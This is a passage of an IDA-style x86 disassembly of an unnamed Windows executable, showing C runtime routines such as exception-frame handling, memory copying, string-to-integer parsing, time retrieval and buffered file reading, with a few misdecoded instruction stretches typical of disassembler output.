DATA XREF: sub_4161A2+3Co cmp [ebp+var_4], 0 jz short loc_416245 mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_41624E ; --------------------------------------------------------------------------- loc_416245: ; CODE XREF: sub_4161A2+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_41624E: ; CODE XREF: sub_4161A2+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_4161A2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416256 proc near ; DATA XREF: sub_4161A2+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_416279 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_4162C6 ; --------------------------------------------------------------------------- loc_416279: ; CODE XREF: sub_416256+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41A333 add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_4162B7 push [ebp+arg_0] push [ebp+arg_4] call sub_4160A4 loc_4162B7: ; CODE XREF: sub_416256+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_4162C6: ; CODE XREF: sub_416256+21j pop edi pop esi pop ebx pop ebp retn sub_416256 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4162CB proc near ; CODE XREF: sub_41A3CE+C6p ; sub_41A575+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_416322 loc_4162E9: ; CODE XREF: sub_4162CB+52j cmp esi, 0FFFFFFFFh jnz short loc_4162F3 call sub_41ABD2 loc_4162F3: ; CODE XREF: sub_4162CB+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_416308 cmp ecx, [eax+8] jle short loc_41630D loc_416308: ; CODE XREF: sub_4162CB+36j cmp esi, 0FFFFFFFFh jnz short loc_416319 loc_41630D: ; CODE XREF: sub_4162CB+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_416319: ; CODE XREF: sub_4162CB+40j cmp [ebp+arg_4], 0 jge short loc_4162E9 mov eax, [ebp+var_4] loc_416322: ; CODE XREF: sub_4162CB+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_416336 cmp esi, eax jbe short loc_41633B loc_416336: ; CODE XREF: sub_4162CB+65j call sub_41ABD2 loc_41633B: ; CODE XREF: sub_4162CB+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_4162CB endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416348 proc near ; CODE XREF: sub_41CDE8+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset loc_416360 push [ebp+arg_0] call sub_4200EC ; RtlUnwind loc_416360: ; DATA XREF: sub_416348+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_416348 endp ; =============== S U B R O U T I N E ======================================= sub_416368 proc near ; DATA XREF: sub_41638A+Ao ; sub_4163F2+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_416389 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_416389: ; CODE XREF: sub_416368+10j retn sub_416368 endp ; =============== S U B R O U T I N E ======================================= sub_41638A proc near ; CODE XREF: sub_41A84F+Dp ; sub_41CDE8+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_416368 push large dword ptr fs:0 mov large fs:0, esp loc_4163A7: ; CODE XREF: sub_41638A:loc_4163E2j mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_4163E4 cmp esi, [esp+1Ch+arg_4] jz short loc_4163E4 lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_4163E2 push 101h mov eax, [ebx+esi*4+8] call sub_41641E call dword ptr [ebx+esi*4+8] loc_4163E2: ; CODE XREF: sub_41638A+44j jmp short loc_4163A7 ; --------------------------------------------------------------------------- loc_4163E4: ; CODE XREF: sub_41638A+2Aj ; sub_41638A+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_41638A endp ; =============== S U B R O U T I N E ======================================= sub_4163F2 proc near ; CODE XREF: sub_41A86F+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_416368 jnz short locret_416414 mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_416414 mov eax, 1 locret_416414: ; CODE XREF: sub_4163F2+10j ; sub_4163F2+1Bj retn sub_4163F2 endp ; =============== S U B R O U T I N E ======================================= sub_416415 proc near ; CODE XREF: sub_41AB30+1Ep ; sub_41AB30+40p push ebx push ecx mov ebx, offset dword_437D2C jmp short loc_416428 sub_416415 endp ; =============== S U B R O U T I N E ======================================= sub_41641E proc near ; CODE XREF: sub_41638A+4Fp ; sub_41CDE8+78p push ebx push ecx mov ebx, offset dword_437D2C mov ecx, [ebp+8] loc_416428: ; CODE XREF: sub_416415+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_41641E endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_416438 proc near ; CODE XREF: sub_4046AA+5p ; sub_40484C+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416438 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416457 proc near ; CODE XREF: sub_404D21+26p ; seg000:0041FEC5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_415E1D pop ecx retn sub_416457 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416470 proc near ; CODE XREF: sub_404D92+3Ap ; sub_418B08+2EEp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_416490 cmp edi, eax jb loc_416608 loc_416490: ; CODE XREF: sub_416470+16j test edi, 3 jnz short loc_4164AC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_4164CC rep movsd jmp ds:off_4165B8[edx*4] ; --------------------------------------------------------------------------- loc_4164AC: ; CODE XREF: sub_416470+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_4164C4 and eax, 3 add ecx, eax jmp dword ptr ds:loc_4164CC+4[eax*4] ; --------------------------------------------------------------------------- loc_4164C4: ; CODE XREF: sub_416470+46j jmp dword ptr ds:loc_4165C8[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_4164CC: ; CODE XREF: sub_416470+31j ; sub_416470+8Ej ... jmp ds:off_41654C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4164E0 dd offset loc_41650C dd offset loc_416530 ; --------------------------------------------------------------------------- loc_4164E0: ; DATA XREF: sub_416470+64o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_4164CC rep movsd jmp ds:off_4165B8[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41650C: ; DATA XREF: sub_416470+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_4164CC rep movsd jmp ds:off_4165B8[edx*4] ; --------------------------------------------------------------------------- align 10h loc_416530: ; DATA XREF: sub_416470+6Co and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_4164CC rep movsd jmp ds:off_4165B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_41654C dd offset loc_4165AF ; DATA XREF: sub_416470:loc_4164CCr dd offset loc_41659C dd offset loc_416594 dd offset loc_41658C dd offset loc_416584 dd offset loc_41657C dd offset loc_416574 dd offset loc_41656C ; --------------------------------------------------------------------------- loc_41656C: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_416574: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_41657C: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_416584: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_41658C: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_416594: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_41659C: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4165AF: ; CODE XREF: sub_416470:loc_4164CCj ; DATA XREF: sub_416470:off_41654Co jmp ds:off_4165B8[edx*4] ; --------------------------------------------------------------------------- align 4 off_4165B8 dd offset loc_4165C8 ; DATA XREF: sub_416470+35r ; sub_416470+92r ... dd offset loc_4165D0 dd offset loc_4165DC dd offset loc_4165F0 ; --------------------------------------------------------------------------- loc_4165C8: ; CODE XREF: sub_416470+35j ; sub_416470+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4165D0: ; CODE XREF: sub_416470+35j ; sub_416470+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4165DC: ; CODE XREF: sub_416470+35j ; sub_416470+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_4165F0: ; CODE XREF: sub_416470+35j ; sub_416470+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416608: ; CODE XREF: sub_416470+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41663C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_416630 std rep movsd cld jmp ds:off_416750[edx*4] ; --------------------------------------------------------------------------- align 10h loc_416630: ; CODE XREF: sub_416470+1B1j ; sub_416470+208j ... neg ecx jmp ds:off_416700[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41663C: ; CODE XREF: sub_416470+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_416654 and eax, 3 sub ecx, eax jmp dword ptr ds:loc_416654+4[eax*4] ; --------------------------------------------------------------------------- loc_416654: ; CODE XREF: sub_416470+1D6j ; DATA XREF: sub_416470+1DDr jmp ds:off_416750[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_416667+1 dd offset loc_416688 ; --------------------------------------------------------------------------- mov al, 66h inc ecx loc_416667: ; DATA XREF: sub_416470+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_416630 std rep movsd cld jmp ds:off_416750[edx*4] ; --------------------------------------------------------------------------- align 4 loc_416688: ; DATA XREF: sub_416470+1F0o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_416630 std rep movsd cld jmp ds:off_416750[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_416630 std rep movsd cld jmp ds:off_416750[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_416704 dd offset loc_41670C dd offset loc_416714 dd offset loc_41671C dd offset loc_416724 dd offset loc_41672C dd offset loc_416734 off_416700 dd offset loc_416747 ; DATA XREF: sub_416470+1C2r ; --------------------------------------------------------------------------- loc_416704: ; DATA XREF: sub_416470+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41670C: ; DATA XREF: sub_416470+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_416714: ; DATA XREF: sub_416470+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41671C: ; DATA XREF: sub_416470+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_416724: ; DATA XREF: sub_416470+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41672C: ; DATA XREF: sub_416470+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_416734: ; DATA XREF: sub_416470+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_416747: ; CODE XREF: sub_416470+1C2j ; DATA XREF: sub_416470:off_416700o jmp ds:off_416750[edx*4] ; --------------------------------------------------------------------------- align 10h off_416750 dd offset loc_416760 ; DATA XREF: sub_416470+1B7r ; sub_416470:loc_416654r ... dd offset loc_416768 dd offset loc_416778 dd offset loc_41678C ; --------------------------------------------------------------------------- loc_416760: ; CODE XREF: sub_416470+1B7j ; sub_416470:loc_416654j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416768: ; CODE XREF: sub_416470+1B7j ; sub_416470:loc_416654j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_416778: ; CODE XREF: sub_416470+1B7j ; sub_416470:loc_416654j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41678C: ; CODE XREF: sub_416470+1B7j ; sub_416470:loc_416654j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_416470 endp ; =============== S U B R O U T I N E ======================================= sub_4167A5 proc near ; CODE XREF: sub_404DF9+34p ; sub_404DF9+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_415DBB pop ecx pop ecx retn sub_4167A5 endp ; =============== S U B R O U T I N E ======================================= sub_4167B3 proc near ; CODE XREF: sub_416820+4p arg_0 = dword ptr 4 push esi push ds:dword_46AAF4 call sub_41AC28 mov edx, ds:dword_46AAF4 pop ecx mov ecx, ds:dword_46AAF0 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_416812 push edx call sub_41AC28 add eax, 10h push eax push ds:dword_46AAF4 call sub_4174BF add esp, 0Ch test eax, eax jnz short loc_4167F5 retn ; --------------------------------------------------------------------------- loc_4167F5: ; CODE XREF: sub_4167B3+3Fj mov ecx, ds:dword_46AAF0 sub ecx, ds:dword_46AAF4 mov ds:dword_46AAF4, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov ds:dword_46AAF0, ecx loc_416812: ; CODE XREF: sub_4167B3+23j mov eax, [esp+arg_0] mov [ecx], eax add ds:dword_46AAF0, 4 retn sub_4167B3 endp ; =============== S U B R O U T I N E ======================================= sub_416820 proc near ; CODE XREF: sub_404EE6+1Ap ; sub_4200CE+5p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_4167B3 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_416820 endp ; =============== S U B R O U T I N E ======================================= sub_416832 proc near ; DATA XREF: seg002:00423018o push 80h call sub_415DA9 test eax, eax pop ecx mov ds:dword_46AAF4, eax jnz short loc_416853 push 18h call sub_417BCE mov eax, ds:dword_46AAF4 pop ecx loc_416853: ; CODE XREF: sub_416832+12j and dword ptr [eax], 0 mov eax, ds:dword_46AAF4 mov ds:dword_46AAF0, eax retn sub_416832 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416861 proc near ; CODE XREF: sub_416A69+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_416879: ; CODE XREF: sub_416861+46j cmp ds:dword_437F5C, 1 jle short loc_416891 movzx eax, bl push 8 push eax call sub_418536 pop ecx pop ecx jmp short loc_4168A0 ; --------------------------------------------------------------------------- loc_416891: ; CODE XREF: sub_416861+1Fj mov ecx, ds:off_437D50 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_4168A0: ; CODE XREF: sub_416861+2Ej test eax, eax jz short loc_4168A9 mov bl, [esi] inc esi jmp short loc_416879 ; --------------------------------------------------------------------------- loc_4168A9: ; CODE XREF: sub_416861+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_4168B7 or [ebp+arg_C], 2 jmp short loc_4168BC ; --------------------------------------------------------------------------- loc_4168B7: ; CODE XREF: sub_416861+4Ej cmp bl, 2Bh jnz short loc_4168C2 loc_4168BC: ; CODE XREF: sub_416861+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_4168C2: ; CODE XREF: sub_416861+59j mov eax, [ebp+arg_8] test eax, eax jl loc_416A59 cmp eax, 1 jz loc_416A59 cmp eax, 24h jg loc_416A59 push 10h test eax, eax pop ecx jnz short loc_41690A cmp bl, 30h jz short loc_4168F4 mov [ebp+arg_8], 0Ah jmp short loc_416926 ; --------------------------------------------------------------------------- loc_4168F4: ; CODE XREF: sub_416861+88j mov al, [esi] cmp al, 78h jz short loc_416907 cmp al, 58h jz short loc_416907 mov [ebp+arg_8], 8 jmp short loc_416926 ; --------------------------------------------------------------------------- loc_416907: ; CODE XREF: sub_416861+97j ; sub_416861+9Bj mov [ebp+arg_8], ecx loc_41690A: ; CODE XREF: sub_416861+83j cmp [ebp+arg_8], ecx jnz short loc_416926 cmp bl, 30h jnz short loc_416926 mov al, [esi] cmp al, 78h jz short loc_41691E cmp al, 58h jnz short loc_416926 loc_41691E: ; CODE XREF: sub_416861+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_416926: ; CODE XREF: sub_416861+91j ; sub_416861+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_416936: ; CODE XREF: sub_416861+16Cj cmp ds:dword_437F5C, 1 movzx esi, bl jle short loc_41694E push 4 push esi call sub_418536 pop ecx pop ecx jmp short loc_416959 ; --------------------------------------------------------------------------- loc_41694E: ; CODE XREF: sub_416861+DFj mov eax, ds:off_437D50 mov al, [eax+esi*2] and eax, 4 loc_416959: ; CODE XREF: sub_416861+EBj test eax, eax jz short loc_416965 movsx ecx, bl sub ecx, 30h jmp short loc_416997 ; --------------------------------------------------------------------------- loc_416965: ; CODE XREF: sub_416861+FAj cmp ds:dword_437F5C, 1 jle short loc_416979 push edi push esi call sub_418536 pop ecx pop ecx jmp short loc_416984 ; --------------------------------------------------------------------------- loc_416979: ; CODE XREF: sub_416861+10Bj mov eax, ds:off_437D50 mov ax, [eax+esi*2] and eax, edi loc_416984: ; CODE XREF: sub_416861+116j test eax, eax jz short loc_4169D2 movsx eax, bl push eax call sub_41AC51 pop ecx mov ecx, eax sub ecx, 37h loc_416997: ; CODE XREF: sub_416861+102j cmp ecx, [ebp+arg_8] jnb short loc_4169D2 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_4169BC jnz short loc_4169B6 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_4169BC loc_4169B6: ; CODE XREF: sub_416861+147j or [ebp+arg_C], 4 jmp short loc_4169C5 ; --------------------------------------------------------------------------- loc_4169BC: ; CODE XREF: sub_416861+145j ; sub_416861+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_4169C5: ; CODE XREF: sub_416861+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_416936 ; --------------------------------------------------------------------------- loc_4169D2: ; CODE XREF: sub_416861+125j ; sub_416861+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_4169F0 test edx, edx jz short loc_4169EA mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4169EA: ; CODE XREF: sub_416861+181j and [ebp+var_8], 0 jmp short loc_416A3D ; --------------------------------------------------------------------------- loc_4169F0: ; CODE XREF: sub_416861+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_416A16 test cl, 1 jnz short loc_416A3D and ecx, 2 jz short loc_416A0D cmp [ebp+var_8], 80000000h ja short loc_416A16 loc_416A0D: ; CODE XREF: sub_416861+1A1j test ecx, ecx jnz short loc_416A3D cmp [ebp+var_8], eax jbe short loc_416A3D loc_416A16: ; CODE XREF: sub_416861+197j ; sub_416861+1AAj test byte ptr [ebp+arg_C], 1 mov ds:dword_469474, 22h jz short loc_416A2C or [ebp+var_8], 0FFFFFFFFh jmp short loc_416A3D ; --------------------------------------------------------------------------- loc_416A2C: ; CODE XREF: sub_416861+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_416A3D: ; CODE XREF: sub_416861+18Dj ; sub_416861+19Cj ... test edx, edx jz short loc_416A46 mov eax, [ebp+var_4] mov [edx], eax loc_416A46: ; CODE XREF: sub_416861+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_416A54 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_416A54: ; CODE XREF: sub_416861+1E9j mov eax, [ebp+var_8] jmp short loc_416A64 ; --------------------------------------------------------------------------- loc_416A59: ; CODE XREF: sub_416861+66j ; sub_416861+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_416A62 mov [eax], edi loc_416A62: ; CODE XREF: sub_416861+1FDj xor eax, eax loc_416A64: ; CODE XREF: sub_416861+1F6j pop edi pop esi pop ebx leave retn sub_416861 endp ; =============== S U B R O U T I N E ======================================= sub_416A69 proc near ; CODE XREF: seg000:004058AAp ; seg000:00410478p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_416861 add esp, 10h retn sub_416A69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416A80 proc near ; CODE XREF: seg000:00405653p ; seg000:00405857p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_415CD0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41AD1D add esp, 10h leave retn sub_416A80 endp ; --------------------------------------------------------------------------- loc_416AB4: ; CODE XREF: seg000:0040543Bp push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp-10h] push eax call ds:dword_42105C ; GetLocalTime lea eax, [ebp-20h] push eax call near ptr 3D0000h mov ax, [di-16h] cmp ax, ds:word_46946A jnz short loc_416B19 mov ax, [ebp-18h] cmp ax, ds:word_469468 jnz short loc_416B19 mov ax, [ebp-1Ah] cmp ax, ds:word_469466 jnz short loc_416B19 mov ax, [ebp-1Eh] cmp ax, ds:word_469462 ; CODE XREF: seg000:00416B32j jnz short loc_416B19 mov ax, [ebp-20h] cmp ax, ds:word_469460 jnz short loc_416B19 mov eax, ds:dword_469458 ; CODE XREF: seg000:00416B38j jmp short loc_416B5E ; --------------------------------------------------------------------------- loc_416B19: ; CODE XREF: seg000:00416ADCj ; seg000:00416AE9j ... lea eax, [ebp-0CCh] push eax call near ptr 3D0000h imul eax, [ebx+1B74FFF8h], 7502F883h adc ah, [esi-7Dh] jge short near ptr loc_416AFC+6 add [ebx+ecx-7Dh], dh jge short near ptr loc_416B12+4 add [ebp+eax+6Ah], dh add [eax-15h], ebx pop es xor eax, eax jmp short loc_416B49 ; --------------------------------------------------------------------------- or eax, 0FFFFFFFFh loc_416B49: ; CODE XREF: seg000:00416B44j push esi push edi lea esi, [ebp-20h] mov edi, offset word_469460 movsd movsd movsd movsd pop edi mov ds:dword_469458, eax pop esi loc_416B5E: ; CODE XREF: seg000:00416B17j push eax movzx eax, word ptr [ebp-4] push eax movzx eax, word ptr [ebp-6] push eax movzx eax, word ptr [ebp-8] push eax movzx eax, word ptr [ebp-0Ah] push eax movzx eax, word ptr [ebp-0Eh] push eax movzx eax, word ptr [ebp-10h] push eax call sub_41B7CE mov ecx, [ebp+8] add esp, 1Ch test ecx, ecx jz short locret_416B8E mov [ecx], eax locret_416B8E: ; CODE XREF: seg000:00416B8Aj leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416B90 proc near ; CODE XREF: seg000:00405ABBp ; sub_40B43D+45p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_416BB4 xor eax, eax jmp loc_416C5D ; --------------------------------------------------------------------------- loc_416BB4: ; CODE XREF: sub_416B90+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_416BC7 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_416BD3 ; --------------------------------------------------------------------------- loc_416BC7: ; CODE XREF: sub_416B90+2Dj mov [ebp+arg_C], 1000h jmp short loc_416BD3 ; --------------------------------------------------------------------------- loc_416BD0: ; CODE XREF: sub_416B90+C4j mov ecx, [ebp+arg_0] loc_416BD3: ; CODE XREF: sub_416B90+35j ; sub_416B90+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_416C05 mov eax, [esi+4] test eax, eax jz short loc_416C05 cmp ecx, eax mov edi, ecx jb short loc_416BEA mov edi, eax loc_416BEA: ; CODE XREF: sub_416B90+56j push edi push dword ptr [esi] push ebx call sub_4155B0 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_416C50 ; --------------------------------------------------------------------------- loc_416C05: ; CODE XREF: sub_416B90+49j ; sub_416B90+50j cmp ecx, [ebp+arg_C] jb short loc_416C38 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_416C1B xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_416C1B: ; CODE XREF: sub_416B90+80j push eax push ebx push dword ptr [esi+10h] call sub_41B969 add esp, 0Ch test eax, eax jz short loc_416C62 cmp eax, 0FFFFFFFFh jz short loc_416C68 sub [ebp+arg_0], eax add ebx, eax jmp short loc_416C50 ; --------------------------------------------------------------------------- 